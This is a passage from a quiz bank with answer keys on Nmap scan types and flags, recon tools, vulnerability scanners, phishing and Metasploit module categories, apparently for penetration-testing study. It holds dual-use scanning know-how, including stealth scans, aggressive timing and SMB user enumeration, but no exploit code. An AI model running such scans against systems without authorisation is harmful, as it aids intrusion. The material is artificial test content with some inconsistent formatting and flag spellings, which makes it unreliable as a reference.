What scan type is requested by ``nmap -sO <target>``?

- A. TCP connect scan
- B. Protocol scan
- C. SYN scan
- D. Version scan

Answer: B. Protocol scan

Why: `-sO` requests a protocol scan.

Source page reference: p. 34

Q106 | Command recognition

Which Nmap option corresponds to a ACK scan?

- A. -sS
- B. -sT
- C. -sV
- D. -sA

Answer: D. -sA

Why: `-sA` is the option associated with ack scan.

Source page reference: p. 34

Q107 | Reverse command recognition

What scan type is requested by ``nmap -sA <target>``?

- A. TCP connect scan
- B. SYN scan
- C. Version scan
- D. ACK scan

Answer: D. ACK scan

Why: `-sA` requests a ack scan.

Source page reference: p. 34

Q108 | Command recognition

Which Nmap option corresponds to a TCP Window scan?

- A. -sV
- B. -sS
- C. -sT
- D. -sW

Answer: D. -sW

Why: `-sW` is the option associated with tcp window scan.

Source page reference: p. 34

Q109 | Reverse command recognition

What scan type is requested by ``nmap -sW <target>``?

- A. TCP connect scan
- B. Version scan
- C. SYN scan
- D. TCP Window scan

Answer: D. TCP Window scan

Why: `-sW` requests a tcp window scan.

Source page reference: p. 34

Q110 | Command recognition

Which Nmap option corresponds to a RPC scan?

- A. -sR
- B. -sV
- C. -sS
- D. -sT

Answer: A. -sR

Why: `-sR` is the option associated with rpc scan.

Source page reference: p. 34

Q111 | Reverse command recognition

What scan type is requested by ``nmap -sR <target>``?

- A. RPC scan
- B. TCP connect scan
- C. Version scan
- D. SYN scan

Answer: A. RPC scan

Why: `-sR` requests a rpc scan.

Source page reference: p. 34

Q112 | Command recognition

Which Nmap option corresponds to a List or DNS scan?

- A. -sL
- B. -sS
- C. -sV
- D. -sT

Answer: A. -sL

Why: `-sL` is the option associated with list or dns scan.

Source page reference: p. 34

Q113 | Reverse command recognition

What scan type is requested by ``nmap -sL <target>``?

- A. List or DNS scan
- B. SYN scan
- C. Version scan
- D. TCP connect scan

Answer: A. List or DNS scan

Why: `-sL` requests a list or dns scan.

Source page reference: p. 34

Q114 | Command recognition

Which Nmap option corresponds to a Idle scan?

- A. -sI
- B. -sT
- C. -sS
- D. -sV

Answer: A. -sI

Why: `-sI` is the option associated with idle scan.

Source page reference: p. 34

Q115 | Reverse command recognition

What scan type is requested by ``nmap -sI <target>``?

- A. Version scan
- B. SYN scan
- C. Idle scan
- D. TCP connect scan

Answer: C. Idle scan

Why: ``-sI`` requests a idle scan.

Source page reference: p. 34

Q116 | Single answer

Which Nmap scan type completes a full TCP handshake?

- A. SYN scan
- B. FIN scan
- C. TCP connect scan
- D. List or DNS scan

Answer: C. TCP connect scan

Why: The TCP connect scan fully connects to the target IP address and port.

Source page reference: p. 28

Q117 | Single answer

Which scan is described as the most reliable but clearly detectable?

- A. TCP connect scan
- B. SYN scan
- C. FIN scan
- D. Passive website inspection

Answer: A. TCP connect scan

Why: Completing a full TCP handshake is reliable but detectable.

Source page reference: p. 28

Q118 | Scenario

An assessor needs to determine the software versions exposed by services on a host. Which Nmap option is the best fit?

- A. -oX
- B. -sT
- C. -sV
- D. -sF

Answer: C. -sV

Why: `-sV` performs version detection.

Source page reference: p. 28

Q119 | Single answer

Which scan sends SYN requests but avoids completing the handshake?

- A. SYN scan
- B. TCP connect scan
- C. RPC scan
- D. FIN scan

Answer: A. SYN scan

Why: The SYN scan is a half-open style scan that does not complete the handshake.

Source page reference: p. 29

Q120 | Single answer

Why is a SYN scan described as stealthier than a TCP connect scan?

- A. It does not establish a complete TCP connection, so the application may not be alarmed.
- B. It changes the DNS registrar record.
- C. It disables the target firewall automatically.
- D. It never sends packets to the target.

Answer: A. It does not establish a complete TCP connection, so the application may not be alarmed.

Why: The handshake is not completed, making it stealthier at the application level.

Source page reference: p. 29

Q121 | Single answer

Which statement about SYN scanning is correct?

- A. The technique is completely invisible to all monitoring.
- B. The technique requires no authorization.
- C. The technique never sends SYN packets.
- D. IDS or firewall logging can still reveal the technique.

Answer: D. IDS or firewall logging can still reveal the technique.

Why: The lecture explicitly notes that IDS or firewall logging may reveal SYN scanning.

Source page reference: p. 29

Q122 | Single answer

Which packet does a FIN scan send to the target?

- A. A DNS registrar update
- B. An ICMP echo reply only
- C. A remote payload automatically
- D. A FIN packet

Answer: D. A FIN packet

Why: The FIN scan sends a FIN packet.

Source page reference: p. 30

Q123 | Response interpretation

during a FIN scan, what happens when the target port is not listening?

- A. The target returns an RST reset.
- B. The payload runs remotely.
- C. The target always returns SYN-ACK.
- D. The target returns a WHOIS record.

Answer: A. The target returns an RST reset.

Why: A non-listening port responds with RST in the lecture description.

Source page reference: p. 30

Q124 | Response interpretation

during a FIN scan, what may happen when a target port is open?

- A. The packet is dropped.
- B. The scanner disables IDS logging.
- C. A complete TCP handshake is performed.
- D. A registrar record is updated.

Answer: A. The packet is dropped.

Why: The lecture states that an open port may drop the FIN packet.

Source page reference: p. 30

Q125 | Assertion-reason

Assertion: A FIN scan may be considered stealthier than a TCP connect scan.

Reason: A FIN scan does not complete a normal TCP handshake.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The FIN approach differs from a normal completed connection and is described as even stealthier.

Source page reference: p. 30

Q126 | Single answer

Which statement about UDP scanning is correct?

- A. UDP scanning is identical to passive website inspection.
- B. UDP guarantees an application response for every port.
- C. UDP scanning always completes a TCP handshake.
- D. UDP is connectionless, so there is no guaranteed outcome.

Answer: D. UDP is connectionless, so there is no guaranteed outcome.

Why: The lecture notes that UDP is connectionless and results are not guaranteed.

Source page reference: p. 33

Q127 | Select all that apply

Which scan techniques are described as potentially detectable by IDS or firewall logging? Select all that apply.

- A. SYN scan
- B. FIN scan
- C. Reading a public archived website only
- D. Reviewing a public job advertisement only

Answer: A, B

Why: The lecture explicitly warns that SYN and FIN techniques can still be revealed by IDS or firewall logging.

Source page reference: pp. 29-30

7. Nmap port selection, scripts, output formats, timing, and command interpretation

48 questions. Answers appear immediately below each item.

Q128 | Single answer

By default, which ports does Nmap scan?

- A. Every possible port automatically
- B. The most common 1000 ports for each protocol
- C. Only port 0
- D. Only ports 80 and 443

Answer: B. The most common 1000 ports for each protocol

Why: The lecture states that the default is the most common 1000 ports for each protocol.

Source page reference: p. 31

Q129 | Command option

Which Nmap option should be used to specify an individual port?

- A. -p<port>
- B. -p-
- C. -p<start>-<end>
- D. -sn

Answer: A. -p<port>

Why: -p<port> is used to specify an individual port.

Source page reference: p. 31

Q130 | Reverse command recognition

What does the Nmap port-selection syntax -p<port> mean?

- A. Specify an individual port
- B. Specify a range of ports
- C. Scan all ports
- D. Omit host discovery

Answer: A. Specify an individual port

Why: -p<port> means: specify an individual port.

Source page reference: p. 31

Q131 | Command option

Which Nmap option should be used to specify a range of ports?

- A. -p<port>
- B. -p-
- C. -sn
- D. -p<start>-<end>

Answer: D. -p<start>-<end>

Why: -p<start>-<end> is used to specify a range of ports.

Source page reference: p. 31

Q132 | Reverse command recognition

What does the Nmap port-selection syntax `-p<start>-<end>` mean?

- A. Omit host discovery
- B. Scan all ports
- C. Specify a range of ports
- D. Specify an individual port

Answer: C. Specify a range of ports

Why: `-p<start>-<end>` means: specify a range of ports.

Source page reference: p. 31

Q133 | Command option

Which Nmap option should be used to scan all ports?

- A. `-p-`
- B. `-sn`
- C. `-p<port>`
- D. `-p<start>-<end>`

Answer: A. `-p-`

Why: `-p-` is used to scan all ports.

Source page reference: p. 31

Q134 | Reverse command recognition

What does the Nmap port-selection syntax `-p-` mean?

- A. Specify a range of ports
- B. Omit host discovery
- C. Specify an individual port
- D. Scan all ports

Answer: D. Scan all ports

Why: `-p-` means: scan all ports.

Source page reference: p. 31

Q135 | Single answer

Can Nmap scan port 0?

- A. Only through an authenticated Nessus scan.
- B. Only if archive.org is used first.
- C. No, port 0 can never be named.
- D. Yes, port 0 can be specified.

Answer: D. Yes, port 0 can be specified.

Why: The lecture explicitly mentions scanning port 0.

Source page reference: p. 31

Q136 | Command option

Which Nmap output option corresponds to Normal output?

- A. -oA
- B. -oX
- C. -oN
- D. -oG

Answer: C. -oN

Why: `-oN`` is the output option for normal output.

Source page reference: pp. 31, 34

Q137 | Reverse command recognition

What output behavior is requested by `-oN``?

- A. XML output
- B. All three output formats: normal.nmap, XML, and grepable.gnmap
- C. Grepable output
- D. Normal output

Answer: D. Normal output

Why: `-oN`` requests normal output.

Source page reference: pp. 31, 34

Q138 | Command option

Which Nmap output option corresponds to XML output?

- A. -oG
- B. -oX
- C. -oN
- D. -oA

Answer: B. -oX

Why: `-oX`` is the output option for xml output.

Source page reference: pp. 31, 34

Q139 | Reverse command recognition

What output behavior is requested by `-oX``?

- A. XML output
- B. Grepable output
- C. All three output formats: normal.nmap, XML, and grepable.gnmap
- D. Normal output

Answer: A. XML output

Why: `-oX`` requests xml output.

Source page reference: pp. 31, 34

Q140 | Command option

Which Nmap output option corresponds to Greppable output?

- A. -oN
- B. -oX
- C. -oG
- D. -oA

Answer: C. -oG

Why: `-oG`` is the output option for greppable output.

Source page reference: pp. 31, 34

Q141 | Reverse command recognition

What output behavior is requested by `-oG``?

- A. XML output
- B. Normal output
- C. All three output formats: normal.nmap, XML, and greppable.gnmap
- D. Greppable output

Answer: D. Greppable output

Why: `-oG`` requests greppable output.

Source page reference: pp. 31, 34

Q142 | Command option

Which Nmap output option corresponds to All three output formats: normal.nmap, XML, and greppable.gnmap?

- A. -oA
- B. -oN
- C. -oX
- D. -oG

Answer: A. -oA

Why: `-oA`` is the output option for all three output formats: normal .nmap, xml, and greppable .gnmap.

Source page reference: pp. 31, 34

Q143 | Reverse command recognition

What output behavior is requested by `-oA``?

- A. Greppable output
- B. Normal output
- C. All three output formats: normal.nmap, XML, and greppable.gnmap
- D. XML output

Answer: C. All three output formats: normal.nmap, XML, and greppable.gnmap

Why: `-oA`` requests all three output formats: normal .nmap, xml, and greppable .gnmap.

Source page reference: pp. 31, 34

Q144 | Command interpretation

What does `nmap -sS <target> -oA results` do?

- A. Performs passive website inspection only.
- B. Skips all host and port checks.
- C. Runs a TCP SYN scan and logs results in normal, XML, and grepable formats using the base filename results.
- D. Runs a full TCP connect scan and stores only XML.

Answer: C. Runs a TCP SYN scan and logs results in normal, XML, and grepable formats using the base filename results.

Why: `-sS` selects SYN scanning and `-oA` saves all three output formats.

Source page reference: p. 31

Q145 | Single answer

What is the purpose of Nmap scripts?

- A. To guarantee that every vulnerability is exploitable
- B. To replace authorization
- C. To disable logging automatically
- D. To extend Nmap functionality through scripted modules

Answer: D. To extend Nmap functionality through scripted modules

Why: Nmap scripts add extended functionality.

Source page reference: p. 32

Q146 | Command recognition

Where can local Nmap scripts be listed on the system?

- A. nmap -oA /usr/share/nmap/scripts
- B. ls /var/archive.org
- C. ls /usr/share/nmap/scripts
- D. whois /usr/share/nmap/scripts

Answer: C. ls /usr/share/nmap/scripts

Why: The lecture shows this local script directory.

Source page reference: p. 32

Q147 | Command recognition

How can help for a particular Nmap script be requested?

- A. -oA <script name>
- B. whois <script name>
- C. -Pn <script name>
- D. --script-help <script name>

Answer: D. --script-help <script name>

Why: The lecture lists `--script-help <script name>` for per-script help.

Source page reference: p. 32

Q148 | Command interpretation

What is the purpose of ``nmap --script smb-enum-users.nse -p 445 <target ip>``?

- A. Scan every UDP port and save XML output.
- B. Replay an EtherApe capture.
- C. Run the smb-enum-users Nmap script against port 445 on the target.
- D. Perform a WHOIS lookup for the target.

Answer: C. Run the smb-enum-users Nmap script against port 445 on the target.

Why: The example applies the specified Nmap script to port 445.

Source page reference: p. 32

Q149 | Reverse command recognition

What meaning is assigned to ``-Po``?

- A. ICMP ping
- B. Do not ping, as listed on the lecture's option summary
- C. SYN ping
- D. TCP ping

Answer: B. Do not ping, as listed on the lecture's option summary

Why: The lecture summary assigns this meaning to ``-Po``.

Source page reference: p. 34

Q150 | Command option

Which option is associated with ``TCP ping``?

- A. `-PT`
- B. `-Po`
- C. `-PI`
- D. `-PS`

Answer: A. `-PT`

Why: The lecture summary associates ``-PT`` with tcp ping.

Source page reference: p. 34

Q151 | Reverse command recognition

What meaning is assigned to ``-PT``?

- A. TCP ping
- B. SYN ping
- C. ICMP ping
- D. Do not ping, as listed on the lecture's option summary

Answer: A. TCP ping

Why: The lecture summary assigns this meaning to ``-PT``.

Source page reference: p. 34

Q152 | Command option

Which option is associated with `SYN ping`?

- A. -PI
- B. -PS
- C. -PT
- D. -Po

Answer: B. -PS

Why: The lecture summary associates `PS` with syn ping.

Source page reference: p. 34

Q153 | Reverse command recognition

What meaning is assigned to `PS`?

- A. TCP ping
- B. SYN ping
- C. ICMP ping
- D. Do not ping, as listed on the lecture's option summary

Answer: B. SYN ping

Why: The lecture summary assigns this meaning to `PS`.

Source page reference: p. 34

Q154 | Command option

Which option is associated with `ICMP ping`?

- A. -PI
- B. -PT
- C. -Po
- D. -PS

Answer: A. -PI

Why: The lecture summary associates `PI` with icmp ping.

Source page reference: p. 34

Q155 | Reverse command recognition

What meaning is assigned to `PI`?

- A. TCP ping
- B. ICMP ping
- C. Do not ping, as listed on the lecture's option summary
- D. SYN ping

Answer: B. ICMP ping

Why: The lecture summary assigns this meaning to `PI`.

Source page reference: p. 34

Q156 | Command option

Which option is associated with `TCP and ICMP ping`?

- A. -PB
- B. -Po
- C. -PT
- D. -PS

Answer: A. -PB

Why: The lecture summary associates `PB` with tcp and icmp ping.

Source page reference: p. 34

Q157 | Reverse command recognition

What meaning is assigned to `PB`?

- A. SYN ping
- B. Do not ping, as listed on the lecture's option summary
- C. TCP and ICMP ping
- D. TCP ping

Answer: C. TCP and ICMP ping

Why: The lecture summary assigns this meaning to `PB`.

Source page reference: p. 34

Q158 | Command option

Which option is associated with `ICMP netmask`?

- A. -PS
- B. -PM
- C. -Po
- D. -PT

Answer: B. -PM

Why: The lecture summary associates `PM` with icmp netmask.

Source page reference: p. 34

Q159 | Reverse command recognition

What meaning is assigned to `PM`?

- A. SYN ping
- B. ICMP netmask
- C. TCP ping
- D. Do not ping, as listed on the lecture's option summary

Answer: B. ICMP netmask

Why: The lecture summary assigns this meaning to `PM`.

Source page reference: p. 34

Q160 | Timing option

Which Nmap timing template is labelled `paranoid`?

- A. -T1
- B. -T0
- C. -T2
- D. -T3

Answer: B. -T0

Why: `-T0` corresponds to the paranoid timing template.

Source page reference: p. 34

Q161 | Reverse timing recognition

Which label is associated with `-T0`?

- A. polite
- B. paranoid
- C. sneaking
- D. normal

Answer: B. paranoid

Why: `-T0` is labelled paranoid.

Source page reference: p. 34

Q162 | Timing option

Which Nmap timing template is labelled `sneaking`?

- A. -T1
- B. -T3
- C. -T0
- D. -T2

Answer: A. -T1

Why: `-T1` corresponds to the sneaking timing template.

Source page reference: p. 34

Q163 | Reverse timing recognition

Which label is associated with `-T1`?

- A. paranoid
- B. polite
- C. sneaking
- D. normal

Answer: C. sneaking

Why: `-T1` is labelled sneaking.

Source page reference: p. 34

Q164 | Timing option

Which Nmap timing template is labelled `polite`?

- A. -T2
- B. -T1
- C. -T3
- D. -T0

Answer: A. -T2

Why: `-T2` corresponds to the polite timing template.

Source page reference: p. 34

Q165 | Reverse timing recognition

Which label is associated with `-T2`?

- A. normal
- B. polite
- C. paranoid
- D. sneaking

Answer: B. polite

Why: `-T2` is labelled polite.

Source page reference: p. 34

Q166 | Timing option

Which Nmap timing template is labelled `normal`?

- A. -T2
- B. -T0
- C. -T3
- D. -T1

Answer: C. -T3

Why: `-T3` corresponds to the normal timing template.

Source page reference: p. 34

Q167 | Reverse timing recognition

Which label is associated with `-T3`?

- A. paranoid
- B. normal
- C. polite
- D. sneaking

Answer: B. normal

Why: `-T3` is labelled normal.

Source page reference: p. 34

Q168 | Timing option

Which Nmap timing template is labelled `aggressive`?

- A. -T0
- B. -T1
- C. -T2
- D. -T4

Answer: D. -T4

Why: `-T4` corresponds to the aggressive timing template.

Source page reference: p. 34

Q169 | Reverse timing recognition

Which label is associated with `-T4`?

- A. sneaking
- B. paranoid
- C. polite
- D. aggressive

Answer: D. aggressive

Why: `-T4` is labelled aggressive.

Source page reference: p. 34

Q170 | Timing option

Which Nmap timing template is labelled `insane`?

- A. -T5
- B. -T1
- C. -T0
- D. -T2

Answer: A. -T5

Why: `-T5` corresponds to the insane timing template.

Source page reference: p. 34

Q171 | Reverse timing recognition

Which label is associated with `-T5`?

- A. polite
- B. paranoid
- C. insane
- D. sneaking

Answer: C. insane

Why: `-T5` is labelled insane.

Source page reference: p. 34

Q172 | Command option

Which Nmap option is used for operating-system detection?

- A. -PM
- B. -O
- C. -sO
- D. -oN

Answer: B. -O

Why: -O is listed for OS detection.

Source page reference: p. 34

Q173 | Command interpretation

What does `nmap -sS -sV -A -p- <IP> -v -oN scan-results.txt` request at a high level?

- A. A passive archived-site lookup with no network interaction.
- B. A WHOIS query followed by DNS-only mapping.
- C. A UDP-only scan that stores XML and grepable output only.
- D. A verbose all-ports SYN scan with service-version detection, additional aggressive detection features, and normal output saved to scan-results.txt.

Answer: D. A verbose all-ports SYN scan with service-version detection, additional aggressive detection features, and normal output saved to scan-results.txt.

Why: The command combines SYN scan, version detection, aggressive detection, all ports, verbose mode, and normal output to a file.

Source page reference: p. 35

Q174 | Select all that apply

Which elements are requested by `nmap -sS -sV -A -p- <IP> -v -oN scan-results.txt`? Select all that apply.

- A. SYN scan
- B. Service-version detection
- C. Aggressive detection features
- D. All ports
- E. Verbose output
- F. Normal-format output saved to scan-results.txt
- G. Passive scanning only

Answer: A, B, C, D, E, F

Why: Each listed flag contributes to the command interpretation; it is an active scan, not passive reconnaissance.

Source page reference: p. 35

Q175 | Help and documentation

Which sources are recommended for more information about Nmap options?

- A. -h or --help, man nmap, the Nmap book, and the official Nmap website
- B. Only a DNS registrar
- C. Only Metasploit payloads
- D. Only archive.org

Answer: A. -h or --help, man nmap, the Nmap book, and the official Nmap website

Why: The lecture lists built-in help, the manual page, the Nmap book, and the official website.

Source page reference: pp. 33, 35

8. Vulnerability-scanning tools, phishing, and Metasploit preview

26 questions. Answers appear immediately below each item.

Q176 | Tool recognition

Which tool or resource is best described as follows: A comprehensive list of commercial and open-source tools with varying capabilities?

- A. Burp Suite
- B. OWASP vulnerability-scanning-tools list
- C. Legion
- D. OpenVAS by Greenbone / GVM

Answer: B. OWASP vulnerability-scanning-tools list

Why: This description matches OWASP vulnerability-scanning-tools list.

Source page reference: pp. 36-40

Q177 | Reverse tool recognition

Which description best matches OWASP vulnerability-scanning-tools list?

- A. A comprehensive list of commercial and open-source tools with varying capabilities
- B. A tool for web attack or web-application assessment
- C. A tool for automating assessments, described as a fork of Nessus with a web interface
- D. A tool for automating assessments that includes Python scripts, a UI, and many external tools

Answer: A. A comprehensive list of commercial and open-source tools with varying capabilities

Why: The lecture associates OWASP vulnerability-scanning-tools list with this description.

Source page reference: pp. 36-40

Q178 | Tool recognition

Which tool or resource is best described as follows: A tool for automating assessments that includes Python scripts, a UI, and many external tools?

- A. Legion
- B. Burp Suite
- C. OpenVAS by Greenbone / GVM
- D. OWASP vulnerability-scanning-tools list

Answer: A. Legion

Why: This description matches Legion.

Source page reference: pp. 36-40

Q179 | Reverse tool recognition

Which description best matches Legion?

- A. A comprehensive list of commercial and open-source tools with varying capabilities
- B. A tool for automating assessments, described as a fork of Nessus with a web interface
- C. A tool for web attack or web-application assessment
- D. A tool for automating assessments that includes Python scripts, a UI, and many external tools

Answer: D. A tool for automating assessments that includes Python scripts, a UI, and many external tools

Why: The lecture associates Legion with this description.

Source page reference: pp. 36-40

Q180 | Tool recognition

Which tool or resource is best described as follows: A tool for web attack or web-application assessment?

- A. OWASP vulnerability-scanning-tools list
- B. Burp Suite
- C. Legion
- D. OpenVAS by Greenbone / GVM

Answer: B. Burp Suite

Why: This description matches Burp Suite.

Source page reference: pp. 36-40

Q181 | Reverse tool recognition

Which description best matches Burp Suite?

- A. A comprehensive list of commercial and open-source tools with varying capabilities
- B. A tool for automating assessments, described as a fork of Nessus with a web interface
- C. A tool for automating assessments that includes Python scripts, a UI, and many external tools
- D. A tool for web attack or web-application assessment

Answer: D. A tool for web attack or web-application assessment

Why: The lecture associates Burp Suite with this description.

Source page reference: pp. 36-40

Q182 | Tool recognition

Which tool or resource is best described as follows: A tool for automating assessments, described as a fork of Nessus with a web interface?

- A. Legion
- B. Burp Suite
- C. OWASP vulnerability-scanning-tools list
- D. OpenVAS by Greenbone / GVM

Answer: D. OpenVAS by Greenbone / GVM

Why: This description matches OpenVAS by Greenbone / GVM.

Source page reference: pp. 36-40

Q183 | Reverse tool recognition

Which description best matches OpenVAS by Greenbone / GVM?

- A. A tool for automating assessments that includes Python scripts, a UI, and many external tools
- B. A tool for web attack or web-application assessment
- C. A comprehensive list of commercial and open-source tools with varying capabilities
- D. A tool for automating assessments, described as a fork of Nessus with a web interface

Answer: D. A tool for automating assessments, described as a fork of Nessus with a web interface

Why: The lecture associates OpenVAS by Greenbone / GVM with this description.

Source page reference: pp. 36-40

Q184 | Tool recognition

Which tool or resource is best described as follows: A vulnerability-assessment tool that provides a description of a vulnerability and a solution and supports authenticated scans?

- A. Legion
- B. Burp Suite
- C. Nessus
- D. OWASP vulnerability-scanning-tools list

Answer: C. Nessus

Why: This description matches Nessus.

Source page reference: pp. 36-40

Q185 | Reverse tool recognition

Which description best matches Nessus?

- A. A tool for automating assessments that includes Python scripts, a UI, and many external tools
- B. A comprehensive list of commercial and open-source tools with varying capabilities
- C. A tool for web attack or web-application assessment
- D. A vulnerability-assessment tool that provides a description of a vulnerability and a solution and supports authenticated scans

Answer: D. A vulnerability-assessment tool that provides a description of a vulnerability and a solution and supports authenticated scans

Why: The lecture associates Nessus with this description.

Source page reference: pp. 36-40

Q186 | Single answer

Why can an authenticated Nessus scan detect more vulnerabilities?

- A. Authentication guarantees that all findings are exploitable.
- B. Authentication disables the target firewall.
- C. The scanner can perform checks with authenticated access that would not be visible from an unauthenticated perspective.
- D. Authentication converts the scan into passive reconnaissance.

Answer: C. The scanner can perform checks with authenticated access that would not be visible from an unauthenticated perspective.

Why: The lecture states that authenticated scans enable Nessus to detect more vulnerabilities.

Source page reference: p. 40

Q187 | Single answer

What does Nessus provide in addition to detecting a vulnerability?

- A. Only a DNS registrar contact
- B. A description of the vulnerability and a solution
- C. A requirement to skip reporting
- D. A guarantee that exploitation is safe

Answer: B. A description of the vulnerability and a solution

Why: The lecture explicitly notes that Nessus provides a vulnerability description and a solution.

Source page reference: p. 40

Q188 | Single answer

What is phishing?

- A. A TCP FIN scan
- B. A packet replay mode
- C. A DNS mapping query
- D. Tricking victims into giving out sensitive information

Answer: D. Tricking victims into giving out sensitive information

Why: The lecture defines phishing as tricking victims into disclosing sensitive information.

Source page reference: p. 41

Q189 | Select all that apply

Which information may be targeted through phishing? Select all that apply.

- A. Account information
- B. Bank details
- C. Other sensitive information
- D. Only public website colors
- E. Only Nmap output filenames

Answer: A, B, C

Why: The lecture gives account information and bank details as examples of sensitive information targeted by phishing.

Source page reference: p. 41

Q190 | Select all that apply

Which phishing techniques are? Select all that apply.

- A. A fake website that mimics a legitimate website
- B. A seemingly official email that requests account updates
- C. Tricking a victim into downloading malware
- D. A documented authorized scan only
- E. A DNS registrar lookup only

Answer: A, B, C

Why: The lecture describes fake sites, seemingly official requests, and malware downloads.

Source page reference: p. 41

Q191 | Single answer

What is spear phishing?

- A. Phishing directed at a specific individual or company
- B. A FIN scan directed at port 21
- C. Every unsolicited message regardless of targeting
- D. A DNS lookup for a private domain

Answer: A. Phishing directed at a specific individual or company

Why: Spear phishing is targeted phishing.

Source page reference: p. 41

Q192 | Comparison

Which statement best distinguishes spam from phishing?

- A. Phishing is a normal output format in Nmap.
- B. Spam refers to unsolicited messages, while phishing aims to trick victims into disclosing sensitive information or downloading malware.
- C. Spam is always an authorized vulnerability scan.
- D. Spam is a DNS query and phishing is a TCP handshake.

Answer: B. Spam refers to unsolicited messages, while phishing aims to trick victims into disclosing sensitive information or downloading malware.

Why: The lecture warns not to confuse phishing with unsolicited spam messages.

Source page reference: p. 41

Q193 | Scenario

An attacker sends a carefully tailored email to one company employee and directs the employee to a fake login page. Which term best fits?

- A. EtherApe replay
- B. TCP Window scan
- C. Spear phishing
- D. WHOIS lookup

Answer: C. Spear phishing

Why: The message is phishing targeted at a specific person.

Source page reference: p. 41

Q194 | Single answer

What is Metasploit?

- A. A packet visualizer only
- B. A framework that provides exploits for vulnerabilities
- C. A domain registrar privacy service
- D. A website archive only

Answer: B. A framework that provides exploits for vulnerabilities

Why: The lecture introduces Metasploit as an exploitation framework.

Source page reference: p. 43

Q195 | Module recognition

Which Metasploit module category is described as follows: Includes port scanners, fuzzers, sniffers, spoofers, and more?

- A. Auxiliary
- B. Exploits
- C. Registrar
- D. Payloads

Answer: A. Auxiliary

Why: Auxiliary is the module category associated with this description.

Source page reference: p. 43

Q196 | Reverse module recognition

Which description matches Metasploit auxiliary modules?

- A. Archived websites only
- B. Code that runs remotely
- C. Modules that use payloads
- D. Includes port scanners, fuzzers, sniffers, spoofers, and more

Answer: D. Includes port scanners, fuzzers, sniffers, spoofers, and more

Why: The lecture associates auxiliary with this description.

Source page reference: p. 43

Q197 | Module recognition

Which Metasploit module category is described as follows: Modules that use payloads?

- A. Exploits
- B. Auxiliary
- C. Payloads
- D. Registrar

Answer: A. Exploits

Why: Exploits is the module category associated with this description.

Source page reference: p. 43

Q198 | Reverse module recognition

Which description matches Metasploit exploits modules?

- A. Modules that use payloads
- B. Code that runs remotely
- C. Archived websites only
- D. Includes port scanners, fuzzers, sniffers, spoofers, and more

Answer: A. Modules that use payloads

Why: The lecture associates exploits with this description.

Source page reference: p. 43

Q199 | Module recognition

Which Metasploit module category is described as follows: Code that runs remotely?

- A. Auxiliary
- B. Payloads
- C. Exploits
- D. Registrar

Answer: B. Payloads

Why: Payloads is the module category associated with this description.

Source page reference: p. 43

Q200 | Reverse module recognition

Which description matches Metasploit payloads modules?

- A. Archived websites only
- B. Code that runs remotely
- C. Modules that use payloads
- D. Includes port scanners, fuzzers, sniffers, spoofers, and more

Answer: B. Code that runs remotely

Why: The lecture associates payloads with this description.

Source page reference: p. 43

Q201 | Assertion-reason

Assertion: Spear phishing is more targeted than generic spam.

Reason: Spear phishing is directed at a specific individual or company, whereas spam refers to unsolicited messages.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The target specificity distinguishes spear phishing from generic unsolicited messages.

Source page reference: p. 41

9. Mixed exam-style drills and comprehensive rapid-review variants

156 questions. Answers appear immediately below each item.

Q202 | Scenario

An assessor reads public discussion boards and archived webpages without sending probes to the target. Which category best fits?

- A. Exploitation
- B. Passive reconnaissance
- C. Authenticated scanning
- D. Active scanning

Answer: B. Passive reconnaissance
Why: No target-network scan is performed.

Source page reference: p. 11

Q203 | Scenario

An assessor wants public historical snapshots of a website. Which resource is the best fit?

- A. EtherApe
- B. Nessus
- C. archive.org
- D. NetDiscover

Answer: C. archive.org
Why: archive.org exposes historical website pages.

Source page reference: pp. 16-18

Q204 | Scenario

An assessor wants a public-facing search engine for Internet-connected devices and exposed services. Which resource is most appropriate?

- A. host
- B. NetDiscover
- C. EtherApe
- D. Shodan

Answer: D. Shodan
Why: Shodan is presented as a device-exposure search engine.

Source page reference: pp. 19-20

Q205 | Scenario

An assessor needs a target domain registration lookup. Which tool is most appropriate?

- A. Metasploit payload
- B. Nmap -oX
- C. EtherApe
- D. whois

Answer: D. whois
Why: whois queries registration information.

Source page reference: p. 22

Q206 | Scenario

An assessor needs DNS name-to-address or address-to-name mappings. Which pair of tools is most appropriate?

- A. Legion and Burp Suite
- B. Nessus and GVM
- C. Metasploit and EtherApe
- D. host and nslookup

Answer: D. host and nslookup

Why: host and nslookup query DNS mappings.

Source page reference: p. 22

Q207 | Scenario

An assessor needs IP and MAC information for live machines on an internal network. Which tool fits best?

- A. archive.org
- B. NetDiscover
- C. Nessus report
- D. Shodan only

Answer: B. NetDiscover

Why: NetDiscover discovers internal-network hosts.

Source page reference: p. 23

Q208 | Scenario

An analyst wants a graphical color-coded network-traffic view. Which tool fits best?

- A. WHOIS
- B. EtherApe
- C. Nessus
- D. NetDiscover

Answer: B. EtherApe

Why: EtherApe graphically displays network traffic.

Source page reference: p. 24

Q209 | Scenario

A scan must complete full TCP handshakes for reliable connection testing. Which Nmap flag is appropriate?

- A. -sn
- B. -sS
- C. -sT
- D. -sF

Answer: C. -sT

Why: `-sT` selects a TCP connect scan.

Source page reference: p. 28

Q210 | Scenario

A scan should avoid completing the TCP handshake while using SYN responses to infer port state. Which flag is appropriate?

- A. -sS
- B. -oX
- C. -sF
- D. -sT

Answer: A. -sS

Why: `-sS`` selects a SYN scan.

Source page reference: p. 29

Q211 | Scenario

A scan sends FIN packets and treats RST as evidence of a non-listening port. Which flag is appropriate?

- A. -sF
- B. -sV
- C. -sT
- D. -sn

Answer: A. -sF

Why: `-sF`` selects a FIN scan.

Source page reference: p. 30

Q212 | Scenario

A scan must cover all ports rather than the default common ports. Which option is needed?

- A. -oA
- B. -sn
- C. -p<port>
- D. -p-

Answer: D. -p-

Why: `-p-`` scans all ports.

Source page reference: p. 31

Q213 | Scenario

A scan result must be saved in normal, XML, and grepable formats. Which option is needed?

- A. -oN
- B. -oX
- C. -oA
- D. -oG

Answer: C. -oA

Why: `-oA`` saves all three formats.

Source page reference: pp. 31, 34

Q214 | Scenario

An analyst wants a vulnerability description and suggested solution from a scanner. Which tool is the best fit?

- A. Nessus
- B. whois
- C. EtherApe
- D. archive.org

